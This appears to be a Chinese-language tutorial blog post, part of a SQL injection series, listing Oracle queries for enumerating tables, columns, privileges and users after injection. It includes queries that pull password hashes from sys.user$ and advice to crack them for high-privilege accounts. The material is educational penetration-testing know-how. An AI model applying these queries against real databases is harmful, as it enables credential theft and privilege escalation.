SQL Injection(2)

那么，假如后台DBMS为Oracle时我们该如何枚举数据库模式呢？
使用Oracle时，我们需要注意：通常一次只能访问一个数据库（我们一般通过特定的链接来访问Oracle中的数据库）且应用访问多个数据库时通常使用不同的链接。因此，与SQL Server和MySQL不同，寻找数据库模式时Oracle无法枚举存在的数据库。

0x01 查询当前用户表

在应用环境下，它们通常是数据库中的应用表：

select table_name from user_tables;

扩展该语句可以查看数据库中的所有表以及表的所有者

select owner,table_name from all_tables;

0x02 枚举更多关于应用表的信息

通过枚举可以确定表中出现的列数和行数，||是Oracle中的字符串链接

select a.table_name||'['||count(*)||']='||num_rows from user_tab_columns a,user_tables b where a.table_name=b.table_name group by a.table_name,num_rows

当然也可以枚举所有可访问或可用的表

select b.owner||'.'||a.table_name||'['||count(*)||']='||num_rows from all_tab_columns a,all_tables b where a.table_name=b.table_name group by b.owner,a.table_name,num_rows

可以枚举每张表的列和数据烈性来完整发现数据库模式

select table_name||':'||column_name||':'||data_type||':'||column_id from user_tab_columns order by table_name,column_id

0x03 查询权限

获取当前用户的系统权限：

select * from user_sys_privs;    -- show system privileges of the current user

获取当前用户的角色权限：

select * from user_role_privs;   -- show role privileges of the current user

获取当前用户的表格权限：

select * from user_tab_privs;

获取当前用户的列权限：

select * from user_col_privs;

想获取所有可能的权限列表，则替换上述查询语句中的user字符串，如下所示
获取所有系统权限

select * from all_sys_privs

获取所有角色权限：

select * from all_role_privs

获取所有表格权限：

select * from all_tab_privs

获取所有列权限

select * from all_col_privs

当护具库模式列表以及当前的用户信息都获取到之后，需要枚举数据库中其他信息，比如数据库中的所有用户。

select username,created from all_users order by created desc;

该查询有一个优点，默认情况下，它可以由任意数据库用户执行

还可以根据所使用的数据库版本来查询其他项。比如在Oracle 10g Re1.2（如果没有错的话）以后的版本，普通用户可以使用这样检索数据库的用户名和哈希口令

select name,password,astatus from sys.user$ where type#>0 and length(password)=16 (priv),astatus (0=open,9=locked&expired)

可以使用公共可用的工具来测试或破解哈希口令以获取高级数据库账户。在Oracle 11g中，Oracle已经修改了所使用口令的哈希算法，而且哈希口令位于不同的列中（spare4）

select name,spare4 from sys.user$ where type#>0 and length(spare4)=62

如果当前已经是高级用户

select table_name,column_name,encryption_alg,salt from dba_encrypted_columns;

如果已经是高级用户可以了解存在哪些DBA账户

select grantee,granted_role,admin_option,default_role from dba_role_privs where granted_role='DBA'

当然，手动枚举是很困难的，可以使用自动化工具，比如sqlmap以后会专门写关于这些工具的使用